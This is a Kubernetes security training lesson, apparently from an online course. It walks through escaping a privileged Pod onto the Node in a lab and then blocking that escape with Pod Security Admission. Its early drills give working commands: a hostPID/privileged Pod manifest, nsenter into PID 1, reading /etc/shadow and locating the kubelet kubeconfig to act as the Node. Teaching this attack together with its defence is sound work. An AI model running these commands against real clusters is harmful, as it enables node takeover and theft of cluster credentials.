Day 5: Privileged, Capabilities and the Escape onto the Node
Goal: You break out of a privileged Pod onto the Node – and forbid such Pods via Admission. · Duration: approx. 75 min · Prerequisite: Day 4
Briefing
A container is just a process with namespaces and cgroups – no real
boundary once you open it up. privileged: true,
hostPID, hostNetwork or too many capabilities
tear down exactly that boundary. With hostPID +
privileged, a single command is enough to land in the
context of the Node: nsenter into the init
process. From then on you are root on the machine, no longer in the
container.
Security: This is the core of a container escape. Only in your own lab.
Drill 1: The Misconfiguration – a Privileged Pod
Suppose the attacker may create Pods (Day 4) and Admission lets
everything through. We work in a throwaway namespace
escape:
kubectl create namespace escape
kubectl -n escape apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: breakout, namespace: escape}
spec:
hostPID: true
hostNetwork: true
containers:
- name: c
image: nicolaka/netshoot
securityContext: {privileged: true}
command: ["sleep","infinity"]
EOF
kubectl -n escape wait --for=condition=Ready pod/breakout --timeout=90sSave your progress? Sign up for free
Drill 2: Exploit – nsenter onto the Node
hostPID shares the Node’s process list;
privileged grants the necessary capabilities.
nsenter -t 1 enters the namespaces of PID 1 – the host’s
init process:
kubectl -n escape exec breakout -- nsenter -t 1 -m -u -i -n -p -- hostname
kubectl -n escape exec breakout -- nsenter -t 1 -m -u -i -n -p -- head -1 /etc/shadowExpected:
rke2-agent1
root:*:20619:0:99999:7:::
The first command shows the name of the Node, not
the Pod. The second reads /etc/shadow – a file that doesn’t
even exist in the container. You are out of the Pod.
Save your progress? Sign up for free
Drill 3: The Loot – Node Credentials
Whoever is root on the Node takes the Node’s identity. The kubelet kubeconfig lives on the host and lets you act at the API as this Node:
kubectl -n escape exec breakout -- nsenter -t 1 -m -u -i -n -p -- \
ls -l /var/lib/rancher/rke2/agent/kubelet.kubeconfigExpected:
-rw------- 1 root root 464 Nov 17 14:59 /var/lib/rancher/rke2/agent/kubelet.kubeconfig
With this file (and the Node certificates next to it), the attacker
speaks as system:node:rke2-agent1 – and gets at the Secrets
of all Pods running on this Node. A privileged Pod is therefore as good
as cluster-wide access.
Save your progress? Sign up for free
Drill 4: Fix – Pod Security Admission at “restricted”
Kubernetes ships the defense itself: Pod Security
Admission (PSA) rejects Pods at creation time that violate the
profile. restricted forbids privileged, host namespaces,
additional capabilities and enforces runAsNonRoot. You arm
it with a label on the namespace:
kubectl label namespace escape \
pod-security.kubernetes.io/enforce=restricted --overwriteExpected (a warning about already running Pods is normal):
Warning: existing pods in namespace "escape" violate the new PodSecurity enforce level
Warning: breakout: host namespaces, privileged, ...
namespace/escape labeled
Save your progress? Sign up for free
Drill 5: Proof – the Escape Pod Is Rejected
kubectl -n escape apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: breakout2, namespace: escape}
spec:
hostPID: true
hostNetwork: true
containers:
- name: c
image: nicolaka/netshoot
securityContext: {privileged: true}
command: ["sleep","infinity"]
EOFExpected:
Error from server (Forbidden): error when creating "STDIN": pods "breakout2" is
forbidden: violates PodSecurity "restricted:latest": host namespaces (hostNetwork=true,
hostPID=true), privileged (container "c" must not set securityContext.privileged=true),
allowPrivilegeEscalation != false ..., runAsNonRoot != true ..., seccompProfile ...
The breakout Pod never even makes it into the cluster. And a clean Pod keeps running:
kubectl -n escape apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: good, namespace: escape}
spec:
containers:
- name: c
image: nginxinc/nginx-unprivileged:stable
securityContext:
allowPrivilegeEscalation: false
runAsNonRoot: true
capabilities: {drop: ["ALL"]}
seccompProfile: {type: RuntimeDefault}
EOF
kubectl -n escape wait --for=condition=Ready pod/good --timeout=60sExpected:
pod/good condition met
Clean up:
kubectl delete namespace escapeSave your progress? Sign up for free
Checkpoint
A new namespace with restricted rejects privileged
Pods:
kubectl create namespace psa-test
kubectl label namespace psa-test pod-security.kubernetes.io/enforce=restricted
kubectl -n psa-test run x --image=nicolaka/netshoot --privileged \
--command -- sleep infinity 2>&1 | grep -o "violates PodSecurity.*privileged" | head -1
kubectl delete namespace psa-testExpected (excerpt):
violates PodSecurity ... privileged
Challenge
restricted is the strictest of three profiles. Set the
middle profile baseline instead and find out: does it let
the hostPID escape Pod through or not?
Hint: baseline forbids the “obviously
dangerous” things but allows non-root niceties. Host namespaces and
privileged are among the forbidden ones.
Solution
kubectl create namespace base-test
kubectl label namespace base-test pod-security.kubernetes.io/enforce=baseline
kubectl -n base-test run x --image=nicolaka/netshoot --privileged \
--overrides='{"spec":{"hostPID":true}}' --command -- sleep infinity 2>&1 | tail -2
kubectl delete namespace base-testExpected: baseline rejects it too
(privileged, hostPID are already forbidden
there). So baseline stops the escape;
restricted goes beyond that and additionally enforces
non-root and dropped capabilities.
Save your progress? Sign up for free
Enterprise Note
- Set PSA cluster-wide as the default (AdmissionConfiguration with
enforce: baselineorrestrictedas the default level), not just per namespace label. warn/auditlevels first, to collect violations, thenenforce– otherwise existing workloads break.- PSA only covers the Pod spec. For finer rules (specific capabilities, AppArmor, allowed SA) add Kyverno (Day 12).
hostPID,hostNetwork,hostIPC,privileged,hostPathbelong on a hard deny list; real exceptions (CNI, CSI, monitoring) run in their own, clearly named namespaces with their own profile.